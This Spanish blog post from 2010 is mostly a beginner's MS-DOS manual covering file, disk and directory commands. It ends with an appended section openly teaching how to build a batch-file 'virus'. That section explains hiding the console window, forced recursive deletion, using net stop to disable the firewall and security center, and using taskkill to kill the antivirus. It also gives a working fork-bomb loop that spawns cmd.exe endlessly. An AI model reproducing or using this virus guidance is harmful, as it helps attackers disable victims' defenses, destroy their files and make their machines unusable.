Join The Community

Search

24 de agosto de 2010

practico manual de ms-dos

indice
Nota

Introducción al DOS
• ¿ Que es MS-DOS ?
• Arrancar el DOS
• Saber la versión del DOS que tenéis instalada en vuestro ordenador


Las unidades
• Cambiar de unidad
• Algunas teclas importantes


La ayuda del DOS
• Una ayuda


Gestión de archivos
• Manipulado de ficheros o archivos
• Visualizar el contenido de una unidad de disco
• Información de un archivo en concreto
• Los comodines
• Preparar un disquete para escribir información
• Hacer un disco del sistema
• Recuperar el contenido de un disquete formateado
• El formateado incondicional
• Formatear un disquete rápidamente
• Copiar un disquete


Gestión de discos
• Comprobación del estado de un disco
• Establecer una etiqueta al disco


Gestión del sistema
• Limpiar la pantalla
• Fecha y hora del sistema
• Copiar ficheros
• Mover un fichero
• Comparar el contenido de dos ficheros
• Borrar ficheros
• Recuperar archivos borrados
• Renombrar ficheros
• Los directorios
• Creación de directorios
• Cambiar el directorio
• Activar el directorio padre
• Estructura del árbol de directorios
• Mover o copiar información entre directorios
• Borrar directorios


Edición de archivos
• El editor del DOS


________________________________________
Nota
Este manual práctico sólo pretende ser un medio de introducción y aprendizaje rápido al sistema operativo MS-DOS, que muchos desconocen y no hacen servir. La lectura de este manual es recomendada para aquellos que tienen un grado de conocimiento mediano-bajo de informática y necesitan gestionar información con el MS-DOS

Introducción al DOS

Que es MS-DOS ?
Dos es un acrónimo de Disk Operating System, sistema operativo creado por Microsoft, y que tienen instalado la mayoría de los ordenadores PC.
Es DOS es a parte de un sistema operativo, un conjunto de programas que nos permiten manipular información contenida en discos, de esta forma podemos trabajar con facilidad, comodidad y rapidez con estos; a demás, el DOS coordina el funcionamiento del microprocesador para que todo funcione bien en el interior de nuestro ordenador.
A lo largo del tiempo Microsoft ha ido mejorando el DOS, desde su primera versión el 1.981. Las versiones que puedan existir, sirven para corregir errores detectados en la versión anterior o para mejorar ciertas partes del programa; si la variación está en la primera cifra, significa que se han introducido cambios importantes, fruto, por ejemplo, de las prestaciones de los nuevos microprocesadores, en gran parte para poder aprovechar sus ventajas.

Arrancar el DOS
Generalmente, el DOS viene instalado en los ordenadores. La principal función del DOS, como se ha comentado anteriormente, es la de gestionar la información que entra, sale y se guarda en nuestro ordenador.
Arrancar el DOS es sencillo: hay que poner en funcionamiento vuestro ordenador, pulsando el interruptor correspondiente, con la única precaución de que no haya ningún disquete en la disquetera, si lo hay, tienes que retirarlo rápidamente.
Pasados unos segundos, después de comprobar que el sistema esta correcto (memoria, periféricos) veréis como aparece el indicador del MS-DOS, representado habitualmente por C:\>, este también llamado "prompt", que se presenta juntamente con el cursor parpadeando, indicando que el sistema esta preparado para recibir ordenes.

NOTA: Si tenéis instalado en vuestro ordenador el sistema operativo Windows95 el MS-DOS no aparecerá, aunque esté correctamente instalado, sino que en su lugar y automáticamente arrancará el Windows95. Para poder trabajar con el DOS tenemos dos opciones: la primera es dejar que se cargue el Windows95, y desde este, ejecutar la versión "especial" que incorpora; la otra opción es arrancar con la versión original del DOS. Por lo tanto, os pido y recomiendo que los usuarios de Windows95 lo ejecutéis de la forma siguiente: tan pronto encendáis el ordenador, presionar numerosas veces la tecla F8. Os aparecerá seguidamente un menú con diversas opciones; escoged la 4, que dice exactamente "Versión anterior de MS-DOS" o puede decir también "Solo símbolo del sistema". Ahora ya estáis preparados para seguir.

Saber la versión del DOS que tenéis instalada en vuestro ordenador
Podéis saber la versión del sistema operativo MS-DOS que tenéis instalado en vuestro ordenador si escribís la orden VER.

Ejemplo : Saber la versión del DOS
Escribe VER
Pulsa Intro

Las unidades

Cambiar de unidad
El símbolo C:\> indica que la unidad activa es la C:, es decir, el disco duro, y que el DOS esta preparado para recibir órdenes que damos desde el teclado.
Podemos cambiar de unidad por defecto (la C a otra simplemente escribiendo su letra seguida de dos puntos. Para los que no recuerdan que es eso de las letras y las unidades, les puedo refrescar la memoria diciéndoles que cada unidad de disco del ordenador tiene asignada una letra diferente (de la A a la Z). La C: para el primer disco duro, si tenemos otro, este hereda la letra D:, la disquetera principal tiene la A:; una segunda disquetera (si la tenemos) se reserva la letra B: y ningún disco duro o unidad de disco que instalásemos se la podría quitar.

Ejemplo: Cambiar de unidad activa o unidad por defecto a otra diferente
Escribe A:
Pulsa Intro
Observad que la luz de la disquetera se enciende. El C:\> ha cambiado por A:\>. Ahora la unidad activa es la A:. Para volver al C: (disco duro) repite el ejemplo, pero en vez de A: escribe C: seguido de Intro.

Algunas teclas importantes
Posiblemente, alguna vez os encontréis con alguna situación crítica en que vuestro ordenador no responda a vuestras órdenes. Entonces se dice vulgarmente que el ordenador se ha quedado colgado. En este caso conviene interrumpir la sesión de trabajo y volver a reiniciar el sistema.
Una de las dos formas para volver a arrancar el DOS, o reiniciarlo, es lo que se llama arranque en caliente. La otra forma, quizás más sencilla, de reiniciar el DOS y el ordenador es buscar y presionar sobre un botón llamado "reset" que encontraréis en la unidad central.
Para hacer un reinicio del sistema en caliente, pulsa la combinación de teclas siguiente: CONTROL + ALT + SUPR. La CONTROL y la ALT las dos a la vez, y, sin solarlas, la SUPR.; veremos como el ordenador y el sistema se reinician.
No es recomendable reiniciar el ordenador de estas formas, pero si no hay otro remedio, nos vemos prácticamente obligados a hacerlo.
Hay una alternativa al reinicio, que puede o no funcionar: CONTROL + C, que detiene la acción que esté realizando el DOS en aquél momento. En todo caso esta combinación es útil si estamos trabajando con una utilidad del DOS que, por ejemplo, borra todos los archivos de un disquete y queremos que se detenga inmediatamente (por equivocación, evidentemente).
El DOS (versión 6.0) tiene más de 100 funciones que, si no se introducen correctamente, tal y como el DOS es capaz de entenderlas, este emitirá un mensaje de error, dándonos alguna pista sobre el fallo que, la mayoría de veces, es por una mala escritura de la función.
Cala que os diga, para vuestra tranquilidad, que el DOS no ejecuta una función si no se le presiona el Intro, este es el momento en que acepta lo que le hemos escrito y lo procesa, por tanto, podemos escribir tranquilamente órdenes y borrarlas con la tecla de retroceso.

La ayuda del DOS

Una ayuda
Desde la versión 5.0 del DOS, dispone una ayuda en pantalla totalmente didáctica, donde podremos resolver la mayoría de vuestras preguntas.
HELP es un programa de ayuda que proporciona información de todas las utilidades y funciones del DOS de forma "interactiva".
Para ejecutar la ayuda se tiene que escribir directamente HELP y pulsar Intro.

Ejemplo: Ayuda del DOS
Escribe HELP
Pulsa Intro

También hay una forma más rápida de encontrar ayuda sobre una orden concreta del DOS.
Escribe DIR/?
Pulsa Intro
Obtendréis una pantalla con las principales funciones del efecto que tiene la escritura de la orden DIR en el DOS.
También tiene (más ó menos) el mismo efecto pedir ayuda con la orden HELP seguida de la función pertinente.

Escribe HELP DIR
Pulsa Intro

Para movernos por los menús de esta ayuda, pulsa ALT seguida de la letra resaltada con negrita.
Si tenéis el ratón correctamente configurado para que funcione en DOS veréis que podéis "navegar" por el HELP con más facilidad.

Gestión de archivos

Manipulado de ficheros o archivos
A un fichero también se le puede llamar archivo, es básicamente, una recopilación de información etiquetada con un nombre que nosotros asignamos.
El tipo de información puede ser muy variado: texto, gráficos, un programa ..., y su tamaño se mide en bytes, con la limitación de no sobrepasar el espacio de la unidad de disco en que está contenido.
Un fichero se identifica y caracteriza porque contiene un nombre con un extensión máxima e 8 caracteres, (el Windows95 mantiene otra filosofía) que no pueden estar separados por espacios en blanco, y una extensión (o tipo de archivo) de 3 caracteres, opcionales.

Ejemplo: Nombre y extensión de un fichero
Nombre completo TEXTOS_1.TXT
Nombre TEXTOS_1
Extensión .TXT

Observad que la extensión va separada del nombre del fichero por un punto y que siempre se encarga el programa de crearlo, a no ser que nosotros se lo indiquemos expresamente.
Tenéis que tener en cuenta estos puntos, cuando escribáis o deis nombre a un archivo:
• No pueden existir dos nombres de fichero iguales (si los tenemos en carpetas diferentes sí).
• No están permitidos los siguientes caracteres: , (coma), . (punto), : (dos puntos), / (barra inclinada), \ (barra invertida), " (comillas), * (asterisco) al dar nombre a un fichero.
• No les deis nombre que ya utilice el ordenador, es decir, nombres de archivos vitales que tiene el ordenador sin los cuales no funcionaría, por ejemplo: AUTOEXEC.BAT o CONFIG.SYS. Ya se que es un poco rebuscado de ponerle a un archivo estos nombres y extensiones exactamente. No caigáis en la tentación, porque las consecuencias podrías ser fatales.
• Evita guardar archivos personales con las extensiones: COM, EXE o BAT.
Por último, un consejo: asignad el nombre que queráis a los archivos, pero tendréis menos problemas para conocerlos si les dais un nombre que sugiera o insinúe su contenido.


Visualizar el contenido de una unidad de disco
De la misma forma que un libro o revista tiene un índice, los discos también tienen, evidentemente de una forma diferente, pero con la misma finalidad, informar de un vistazo el contenido del mismo.
La función es sencilla, utiliza DIR para listar archivos.

NOTA: Sitúate en la unidad de la que quieres ver su listado de archivos.
Ejemplo: Visualizar el contenido de un disco
Escribe DIR
Pulsa Intro
Aparecerá un listado de archivos y carpetas, que contienen archivos en su interior, tamaño expresado en bytes, fecha, hora de última actualización (o edición), de la unidad a la que le hemos hecho el DIR.
Si el listado es muy largo (hay muchos archivos), veremos como la pantalla va muy rápida y no nos da tiempo a leerlo todo. Para remediar esto escribe el DIR seguido de /P.

Ejemplo: Listar archivos haciendo pausa
Escribe DIR /P
Pulsa Intro
Una vez la pantalla quede llena, os pedirá que pulséis cualquier tecla para continuar, y así hasta terminar listando todos los archivos y carpetas del disco. Este función también se llama "srolling".

También hay otra forma de presentar los archivos por pantalla, visualizándolos a lo ancho.

Ejemplo: Listar archivos a lo ancho
Escribe DIR /W
Pulsa Intro
Si no cabe en la pantalla, pasará lo mismo que en los casos anteriores, pero esto tiene solución si hacemos servir la función de pausa.

Ejemplo: Listar archivos a lo ancho con pausa
Escribe DIR /W /P
Pulsa Intro
Podéis identificar una carpeta si al hacer el DIR veis unos archivos que lleven a su parte derecha, en vez del tamaño, un nombre: , esto significa que esta es una carpeta que contiene, posiblemente, más archivos en su interior.
Ordenar y mostrar el contenido de un directorio ordenado por algún tipo de criterio es, sin duda, una buena herramienta de trabajo.
Podemos utilizar las anteriores posibilidades haciendo servir, como habéis podido ver en el ejemplo, la barra inclinada, pero también funciona con los dos puntos. Podéis ampliar estas definiciones si escribís un DIR /?.

Ejemplo: Listar archivos ordenados de menor a mayor tamaño
Escribe DIR /O:S
Pulsa Intro
Los directorios son necesarios para una mejor organización de los discos. Fijaos que el disco duro de vuestro ordenador, al hacer un DIR hay, seguro, una carpeta con el nombre DOS (o un nombre parecido) que contiene todo el sistema operativo DOS.

Información de un fichero en concreto
Empleando la orden o función DIR podemos informarnos de un fichero en concreto, obteniendo la fecha, el tamaño, y la hora en que fue modificado o creado.

Ejemplo: Información de un fichero en concreto
Escribe DIR COMMAND.COM
Pulsa Intro
Aparecerá un mensaje informando de que esta presente. Si un fichero no lo encuentra, el DOS responderá: "No se encuentra el archivo".

Los comodines
El DOS permite emplear comodines para poder buscar ficheros. Existen dos clases de comodines: el asterisco (*) y el símbolo de interrogación (?).
El asterisco substituye a un grupo de caracteres del nombre de un fichero, mientras que el símbolo de interrogación substituye a un solo carácter, situado en el mismo sitio.

Ejemplo: Utilidad de los comodines
Escribe DIR *.TXT
Pulsa Intro
Para listar todos los archivos que terminan con la extensión .TXT.

Escribe DIR AUTOEXE?.BAT
Pulsa Intro
Para listar todos los archivos que tengan la estructura idéntica a la extensión BAT, pero de los cuales no sabemos la última letra de su nombre.

Preparar un disquete para escribir información
Si introducimos un disquete virgen a la disquetera, e intentáis situaros para hacerle un dir, pueden pasar tres cosas:
1. Que haga el DIR y encontremos archivos (no muy común si el disquete es nuevo).
2. Que no haya nada al hacer el DIR.
3. Que salga un mensaje: "Fallo general leyendo unidad A – Anular, Repetir, Descartar ?". Eso quiere decir que el DOS no puede leer el disquete virgen, tenemos que darle un formato, para que el DOS lo reconozca como tal.
También puede pasar que el disquete esté en mal estado y el DOS no lo reconozca, en todo caso, el mensaje que nos podría dar es el 3º. Si tenéis el mensaje 3º. en la pantalla, para salir escribe la "A" de Anular y seguidamente escribe "C:" seguido de Intro (para volver al disco duro y cancelar la lectura de la unidad A).
Para limpiar un disquete y prepararlo para escribir información, el proceso es muy sencillo.

Ejemplo: Formatear un disquete situado en la unidad A:
Nota: Insertar un disquete en la disquetera.
Escribe FORMAT A:
Pulsa Intro
Responde a la pregunta que os formula con un Intro, y observaréis como la luz de la disquetera se ilumina.

Tenéis que tener muy claro la unidad donde insertáis el disquete, podría ser que vuestro ordenador tuviese otra disquetera, y esta pasaría a nombrarse (seguramente) B:, insisto, aseguraos bien de la unidad con la que estáis trabajando.
Siguiendo con el proceso de formateado o "limpiado" del disquete, podemos observar que la pantalla nos presenta un porcentaje de progreso, es decir, el porcentaje del disquete que lleva formateado.
Al llegar al fin, aparecerá una pregunta: "¿ Etiqueta del volumen (11 caracteres, ENTRAR ignorar) ?". De la misma forma que un libro o una revista también tiene un título, un disquete puede tener un título. Escribe, si lo creéis necesario, un título (recordad que los espacios en blanco no son válidos), y si preferís ignorarlo, pulsad Intro.

Para terminar, nos pregunta si queremos formatear otro disquete, contestamos que "S" para afirmarlo o "N" para negarlo (evidentemente).


Si el disquete no estuviese en buen estado, todo y estar formateado, aparece un informe al fin que indica el espacio ocupado por sectores defectuosos; si encontráis esta casilla ocupada os aconsejo tirar el disquete, porqué luego, si lo guardamos con los otros, puede ser fruto de confusión y desengaños.
Después de formatear un disquete podemos escribir información (siempre que no sobrepasemos su tamaño) y meterle, poco a poco, archivos hasta completar su espacio total.
Podemos utilizar la ayuda del DOS para informarnos de otras posibilidades con el FORMAT (FORMAT /?).

Hacer un disco del sistema
Para arrancar un ordenador, solo son necesarios los archivos COMMAND.COM y los que están ocultos, guardados en ciertos sitios del disco duro (IO.SYS i MSDOS.SYS). A un disquete que contenta solo estos archivos se le llama "disco del sistema" o "disco de arranque, esto quiere decir que podemos arrancar un ordenador si introducimos este disquete (que contiene los nombrados archivos) en caso de problemas, para poderlos solucionar.

Ejemplo: Crear un disco del sistema
NOTA: Inserta un disquete virgen o que no quieras aprovechar su contenido de la disquetera.
Escribe FORMAT A:/S
Pulsa Intro
Al escribir la orden FORMAT A:/S el DOS se encarga de formatear el disquete y hacer una copia de los archivos vitales para meterlos al disquete.

Recuperar el contenido de un disquete formateado
Las versiones anteriores a la 5.0 del DOS no tenían esta utilidad. Para que esta fantástica utilidad funcione, tienes que tener el disquete recientemente formateado, y que con el DOS no hayas trabajado ni hecho nada, es decir, hemos formateado un disquete por equivocación y no hemos dado ninguna instrucción más de (por ejemplo) copiar archivos, mover archivos... Sólo funciona si se cumple esta característica.
El FORMAT funciona de una manera muy curiosa; para que lo podáis entender os lo explicaré de la forma más sencilla posible. Cuando formateamos un disquete, el FORMAT mira si este tiene información; si es así, el FORMAT la guarda en un sitio seguro del disquete, por si luego hacemos servir la función UNFORMAT, que permite recuperar estos archivos. El único que hace el FORMAT es borrar la identificación de los archivos, de forma que se queden todavía residentes y no los podamos detectar, también borra el primer carácter de cada nombre de los archivos guardados y de esta manera, son invisibles y parece que el disquete esté formateado. Realmente se borran los archivos antiguos invisibles cuando copiamos alguna cosa encima y trabajamos con el disco.

Ejemplo: Recuperar la información de un disquete recientemente formateado
Escribe UNFORMAT A:
Pulsa Intro
UNFORMAT reconstruye el disquete, recuperando toda la información que este contenía.

El formateado incondicional
Este permite que el UNFORMAT no sea efectivo, y limpia el disquete al 100 %, dejándolo verdaderamente preparado y "limpio".

Ejemplo: Formatear un disquete al 100 %
Escribe FORMAT A: /U
Pulsa Intro

Formatear un disquete rápidamente
Puede pasar que el disquete no nos sirva para nada y lo queramos formatear, para utilizarlo posteriormente. Se puede formatear rápidamente un disquete ya formateado si se utiliza el parámetro /Q, que evita que el DOS compruebe si hay sectores defectuosos. También podemos aumentar la velocidad de formateado de un disquete con la órdenes /U y /Q.


Ejemplo: Formatear un disquete rápidamente
Escribe FORMAT A: /U /Q
Pulsa Intro
Este es mucho más rápido porque no guarda la información contenida al disquete para el UNFORMAT.

Copiar un disquete
Si necesitamos copiar el contenido exacto de un disquete, podemos hacer servir la utilidad DISKCOPY. Hemos de tener claro que el disquete de origen es el original del que queremos hacer la copia y el disquete de destino es el que contendrá la copia exacta del original.

Ejemplo: Copiar un disquete
Escribe DISKCOPY A: A:
Pulsa Intro
Tened cuidado y parad atención a las preguntas que hace el DISKCOPY a la hora de introducir los disquetes que queremos copiar.


Gestión de discos

Comprobación del estado de un disco
Podemos verificar el contenido de un disco y listar los fallos, si las hubiese, para comprobar que la integridad de los datos que contiene son correctos y no hay ningún defecto en estos.

Ejemplo: Comprobar que el disco duro no esta defectuoso
Escribe CHKDSK C: /F /V
Pulsa Intro
Podemos testear la unidad de disco que deseemos. En el ejemplo substituid la C: por la unidad correspondiente.
Si no introducís la unidad, el DOS entiende que deseáis hacer esta operación con el directorio activo,
El DOS os preguntará en algún momento "¿ Convertir unidades de asignación perdidas en ficheros FILEnnnn.CHK ? (S/N)". Si respondéis "S" el programa reunirá los datos perdidos (posibles fallos de disco) y los guardara en diferentes ficheros de nombre FILE0000.CHK, FILE0001.CHK …, que encontraréis esparcidos por el disco duro (y que luego podéis eliminar). Si respondéis a la pregunta "N", el programa corrige los fallos eliminando las unidades de asignación perdidas. No os compliquéis la vida, responded "N".

Establecer una etiqueta al disco
La utilidad LABEL permite asignar un "título" al disco, denominado etiqueta del volumen, o si este ya tiene uno (recordad que se lo podemos poner a la hora de formatear un disquete, por ejemplo) lo modifica.
Es recomendable que cada disco tenga una etiqueta o título.

Ejemplo: Asignar una etiqueta a un disco
Escribe LABEL A: INTERNET
Pulsa Intro

Ahora para visualizar el "título" de un disco escribe VOL.
Escribe VOL A:
Pulsa Intro
Recordad que podéis cambiar la unidad A: del ejemplo por la que vosotros queráis.
Si la unidad no tiene etiqueta, el DOS presentará un mensaje como este: "Volumen en unidad A no tiene etiqueta …". La función DIR también os puede mostrar, a la parte del contenido del disco, el nombre de la etiqueta.

Gestión del sistema

Limpiar la pantalla
No, no necesitáis un trapo, esta función limpia la pantalla de letras y no de polvo.
Más de una vez os encontraréis que, orden tras orden, la pantalla se va llenando de letras y más letras, muchas veces caeréis en la tentación de pulsar varias veces el Intro hasta hacerlas desaparecer, tenéis una alternativa más rápida y sencilla, la orden CLS.

Ejemplo: Limpiar la pantalla de caracteres
Escribe CLS
Pulsa Intro
Ahora solo queda el identificador del DOS, a la parte superior izquierda de la pantalla.

Fecha y hora del sistema
Las utilidades DATE y TIME nos permiten saber que hora es o a que día estamos. También las podemos modificar, en caso de ser incorrectas.

Ejemplos: Cambiar la hora
Escribe TIME
Pulsa Intro
Introducid la hora correcta; si no lo deseáis pulsad Intro

Ejemplo: Cambiar de fecha
Escribe DATE
Pulsa Intro
Introducid la fecha correcta; si no lo deseáis pulsad Intro

Si vuestro ordenador tiene la pila interna, que, entre otras, controla la fecha y la hora, gastada, en apagar el ordenador los cambios que hagáis hecho en la hola y en la fecha, para corregirlas, no harán efecto.

Copiar ficheros
La utilidad COPY permite copiar un fichero de un disco a otro.

NOTA: Intentamos copiar un fichero llamado FACTURA.TXT, que se halla en el disco duro, a un disquete que tenemos insertado en la disquetera, pero que su nombre no será FACTURA.TXT, sino que aprovecharemos y le cambiaremos el nombre por FACTUR_1.TXT.

Ejemplo: Copiar un fichero de un disco a otro
Escribe COPY C:\FACTURA.TXT AACTUR_1.TXT
Pulsa INTRO

Utilizad la función DIR al disquete (en caso que el destino de la copia sea un disquete) para comprobar que la copia se ha efectuado correctamente.
Podemos utilizar la misma orden para copiar un fichero de una unidad a otra si no queremos cambiarle el nombre, todo lo contrario del ejemplo anterior, en que hemos aprovechado y lo hemos renombrado.

Ejemplo: Copiar un fichero a otro disco sin la posibilidad de cambiarle el nombre
Escribe COPY C:\FACTURA.TXT A:
Pulsa INTRO

Si a la orden de COPY le introducís el modificador /V, el DOS comprobará automáticamente que la copia se ha efectuado con éxito.

Mover un fichero
Mover un fichero comportaría la pérdida de este de su antigua situación para presentarse en la nueva situación.

Ejemplo: Mover un fichero
Escribe MOVE DIBUIX1.BMP A:
Pulsa INTRO

Tened cuidado al utilizar esta función, ya que si tenéis un archivo idéntico a la disquetera (en este caso) con la misma extensión, lo borraría, dando paso a este último.
Podéis mover, y también copiar, un grupo de ficheros con la misma orden, pero utilizando los comodines.

Ejemplo: Mover varios archivos
Escribe MOVE *.BMP A:
Pulsa INTRO
En este ejemplo se moverían todos los archivos con la extensión BMP al disquete.

Comparar el contenido de dos ficheros
Podéis comparar el contenido de dos ficheros, por ejemplo de texto, con la función FC.

Ejemplo: Comparar dos archivos
Escribe FC C:\NOTES.TXT A:\NOTES.TXT
Pulsa INTRO
Si hay alguna diferencia, nos la presentará en pantalla.

Esta función tiene otros modificadores, quizás no muy interesantes; consultad la ayuda si necesitáis más información (FC/?).
NOTA: Si intentáis comparar dos ficheros de gran tamaño, posiblemente desearéis en algún momento que se detenga la operación: pulsad CONTROL + C para detener el que en aquel momento esté haciendo el DOS.

Borrar ficheros
La capacidad de vuestro disco duro no es ilimitada, por lo tanto, en algún momento deseareis eliminar aquellos archivos que no necesitéis. Para llevar a cabo esta operación podéis utilizar la función DEL.

Ejemplo: Borrar un fichero del disco duro
Escribe DEL C:\AMICS.TXT
Pulsa INTRO

En vez de la C:, del ejemplo, recordad que podéis utilizar la unidad que queráis, y también que podéis utilizar los comodines.
NOTA: Si vosotros no tenéis este archivos del ejemplo y intentáis hacer la práctica, evidentemente, no funcionará.

Recuperar archivos borrados
Prácticamente idéntico al UNFORMAT, con las mismas características.

Ejemplo: Intentar recuperar un fichero borrado recientemente
Escribe UNDELETE C:\AMICS.TXT
Pulsa INTRO
El DOS os preguntará el nombre del archivo, si no lo recordáis no lo escribáis. Después tenéis que introducir el primer carácter del archivo borrado y ya estará completo.

Renombrar ficheros
Alguna vez necesitaréis cambiar el nombre de algún archivo por diversos motivos; utilizad la función REN.

Ejemplo: Renombrar o cambiar de nombre un archivo
Escribe REN WEB.HTM PERSONAL.HTM
Pulsa INTRO
Esta función renombra el archivo WEB.HTM por PERSONAL.HTM.

Podéis utilizar los comodines y también podéis cambiar la extensión del archivo, si lo necesitáis.

Los directorios
Imaginaos, un momento, que pasaría si toda la información de vuestro ordenador estuviese esparcida y revuelta; allí podríamos encontrar archivos de los programas que normalmente suelen ser intocables, archivos personales..., sería prácticamente incontrolable trabajar, por eso existen los directorios o carpetas.
Una oficina que tiene todas las facturas y los albaranes esparcidos y revueltos por encima de la mesa no inspira seguridad y efectividad, en cambio, si esta oficina nos presenta un archivador, con carpetas de clientes, proveedores ... da una buena imagen y seguridad en el trabajo. De la misma forma que en el ejemplo de la oficina, puede pasar dentro de nuestro ordenador; siempre se recomienda tener distribuidas carpetas, y dentro de las carpetas (si conviene) otras, organizando de la mejor manera posible la información de nuestro ordenador.
Hay carpetas que no se pueden tocar, que normalmente son las de los programas, estas son "gradadas", si las movemos o renombramos, ya nos podemos despedir del programa y, seguramente, se tendrá que volver a instalar; pero todo esto no os tiene porque pasar si no hacéis cosas raras. Limitaos solo a crear las carpetas que contengan archivos que habéis creado con los programas.
La metodología de la organización corre a vuestro cargo, y es un poco personal, cada persona tiene su forma de auto organizarse la información por el ordenador.

Creación de directorios
Para crear un directorio o carpeta, para que en un futuro podamos meterle archivos, hacemos servir la función MD.

Ejemplo: Creación de un directorio per guardar archivos
Escribe MD APUNTS
Pulsa INTRO
Ya tenéis el directorio APUNTS creado, emplead el DIR y lo veréis.


NOTA: Podéis crear un directorio en cualquier unidad de disco. En este ejemplo me sitúo al disco duro C:.

Cambiar de directorio
Para cambiar de un directorio a otro emplead la función CD.

Ejemplo: Cambio de directorio
Escribe CD APUNTS
Pulsa INTRO

Ahora veréis a la pantalla C:\APUNTS>, esto significa que estamos dentro del directorio y, por lo tanto, ya podemos trabajar (por ejemplo, crear un subdirectorio).

NOTA: Situaos al directorio APUNTS.
Ejemplo: Crear un subdirectorio dentro de un directorio existente
Escribe MD HISTORIA
Pulsa INTRO
Ya tenéis listo un subdirectorio dentro del directorio APUNTS, llamado HISTORIA.

Recordad que no podéis meter una etiqueta como a los discos en los directorios, en todo caso un nombre.

Activar el directorio padre
Imaginaos que tenéis creado dentro del directorio APUNTS otro directorio llamado HISTORIA. El aspecto de la pantalla sería este: C:\APUNTS\HISTORIA\>. Ahora imaginaos que queréis volver al directorio APUNTS, ¿ cómo lo haríamos ?; muchos de vosotros pensáis que volviendo al C:, escribiendo C: seguido de Intro, haciendo el CD APUNTS y ya está. Esta es una forma, pero hay otra mucho más sencilla y práctica, el CD..

Ejemplo: Activar el directorio padre
Escribe CD..
Pulsa INTRO
Y volveréis a estar en el directorio APUNTS.

NOTA: Para más seguridad y menos equivocaciones no metáis nunca acentos a los nombres de los archivos y directorios.
Si os encontráis muy apurados y estás dentro de subdirectorios, de subdirectorios de un directorio... pulsad CD\ para volver al directorio principal.

Estructura del árbol de directorios
Si necesitáis tener una visión completa y un poco más gráfica del contenido de un disco, utilizad la función TREE, con el modificador /F si queréis ver también los subdirectorios de cada directorio (si es que tiene).

Ejemplo: Estructura del árbol de directorios
Escribe TREE
Pulsa INTRO
Obtendréis un listado de los directorios y subdirectorios junto con la información correspondiente de cada uno.

Mover o copiar información entre directorios
Ahora que sabéis como moveros por los directorios, podéis utilizar la orden del COPY o del MOVE con más efectividad.

Ejemplo: Copiar archivos de un directorio a otro
Escribe COPY A:\ART.TXT C:\APUNTS\HISTORIA
Pulsa INTRO

Si lo que necesitáis es mover el archivo o archivos en vez de copiarlos:
Ejemplo: Mover archivos de un directorio a otro
Escribe MOVE A:\ART.TXT C:\APUNTS\HISTORIA
Pulsa INTRO

También podéis utilizar los comodines para mover bloques de archivos de una sola vez.

Borrar directorios
¿ Habéis probado de hacer un DEL a un directorio ?, solo se borra su contenido, pero no el directorio.
Para borrar todo un directorio (incluido sus subdirectorios y archivos interiores) emplead la orden DELTREE.

Ejemplo: Borrar todo un directorio (archivos incluidos)
Escribe DELTREE C:\APUNTS
Pulsa INTRO
Responded "S" si estáis seguros de eliminar todo el directorio o "N" para cancelar la operación.

Edición de archivos

El editor del DOS
El DOS dispone de una utilidad llamada EDIT, que nos permite visualizar el "interior" de cualquier tipo de archivo y editarlo, para poder ampliarlo, por ejemplo.
Podéis entrar en el editor escribiendo EDIT.

Ejemplo: Entrar al editor del DOS
Escribe EDIT
Pulsa INTRO

Os aparecerá la pantalla principal; desde esta podéis escribir textos poco complicados, con la desventaja que no se pueden alinear textos u otras funciones para muchos de vosotros importes y necesarias; por eso existen los programas de tratamiento de textos, ya preparados para estas necesidades.
El EDIT del DOS no es más que un programa muy sencillo para escribir algún texto o nota, pero no solo sirve para eso, sino para otras funciones que no vienen al caso, y que, seguro, no haréis servir.
Podéis abrir un fichero con ARCHIVO + ABRIR, donde os aparecerá un listado de todos los archivos del disco actual. Podéis cambiar de disco (para ir a la disquetera, por ejemplo), si buscáis la unidad "A" a la parte inferior del listado.
Una vez confeccionado vuestro archivo podéis guardarlo escogiendo del listado de directorios vuestra carpeta, con o sin extensión.

Quiero que quede bien claro que el DOS no termina aquí, y que esto es solamente una porción muy pequeña de lo que podéis encontrar para trabajar, pero he descartado el resto porque este manual solo es una introducción y una referencia rápida de las funciones más importantes, esenciales para trabajar y satisfacer la mayoría de vuestras necesidades.
Espero que hagáis aprendido bastantes cosas como para poder seguir adelante y profundizar en el tema. ¡ Desde estas líneas os animo a todos !.

MANUAL: Creando virus bajo lenguaje Batch (Desde Ms-DoS)

Hola a todos!

Este manual,explica como crear virus bajo un lenguaje que usa nuestro propio sistema.

Este lenguaje,nos facilita el mejor uso de nuestro ordenador,con diversas ordenes o comandos a través

de nuestra consola,llamada Ms-Dos.


En este manual no voy a enseñar como crear un virus que destruya medio universo,nada de eso,olvidaros de pajas mentales

Mas bien se explica los comandos y las órdenes que daremos a nuestro bichito,y lo que hace mediante

esas órdenes que nosotros le damos.

Lo primero que haremos será abrir nuestra consola, nuestro "ms-dos" y teclear en ella "edit"



Bien,una vez con la consola abierta y listo para hacer nuestro bicho,os explico los comandos que vamos

a ejecutar "sus funciones"

@echo off
Sirve que para que nuestro virus no salga en la pantalla,es decir,para que la ventanita del ms-dos no sea mostrada.

title

Tanto como en nuestro virus como en otro programa programado en "batch" sirve para poner un título a la aplicación que hayamos programado.En pocas palabras: "Pone un tituto a nuestro programa"

Del:
Comando que se usa explícitamente para borrar carpetas o ficheros,mediante otros comandos se puede

forzar el borrado de la carpeta,o de cualquier otro archivo

Comandos del comando Del:

Comando: /F (Borra los archivos con solo lectura)
Comando: /S (Elimina los archivos indicados)
Comando: /P (Pide confirmación antes de borrar cada archivo)

Net Stop
Sirve para parar algun servicio o medio que transcurra a través de nuestro sistema,así como el centro de seguridad,firewall de windows o otro medio de seguridad del equipo.Con este comando,facilita una desactivación de estos servicios,evitando ser activados automáticamente.
Pero a través de este comando,el usuario puede ver como han sido desactivados componentes de su sistema.

taskkill
Este comando es usado a la hora de querer matar procesos que corren a través de nuestro sistema.Cuando queremos parar un proceso de nuestro sistema,este comando realiza esa función,mata un proceso específico que le hayamos ordenado,más comodo a la hora de querer meter nuestro virus y matar el antivirus,o matar cualquier otro proceso que lleve a un programa,aplicacion...

start
Comando start sirve para empezar una tarea,ya sea abrir el explorador,un programa,una hoja de cálculos (bloc de notas) paint,wordpad,word...Cualquier programa, con solo el comando "start" seguido del programa a ejecutar,ejemplo:

start cmd.exe


:bucle -- goto bucle
El comando :bucle sirve para hacer un bucle como su propio nombre indica.Con este comando podemos ejecutar infinitas tareas,programas,aplicaciones,juegos...Todo esto de forma masiva,de modo que lo único que podremos hacer,seria reinicio del ordenador.

y el comando goto bucle,es el que hay que poner una vez indicado la tarea a realizar.Ejemplo:

:bucle
start cmd.exe
goto bucle

